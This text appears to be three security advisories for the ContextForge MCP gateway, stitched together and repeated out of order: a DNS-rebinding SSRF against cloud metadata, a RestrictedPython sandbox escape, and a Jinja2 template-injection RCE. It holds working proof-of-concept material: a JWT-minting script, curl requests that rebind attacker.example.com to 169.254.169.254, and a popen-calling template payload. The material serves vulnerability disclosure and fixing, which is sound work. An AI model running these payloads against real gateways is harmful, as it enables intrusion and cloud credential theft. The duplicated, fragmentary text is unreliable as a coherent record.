"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
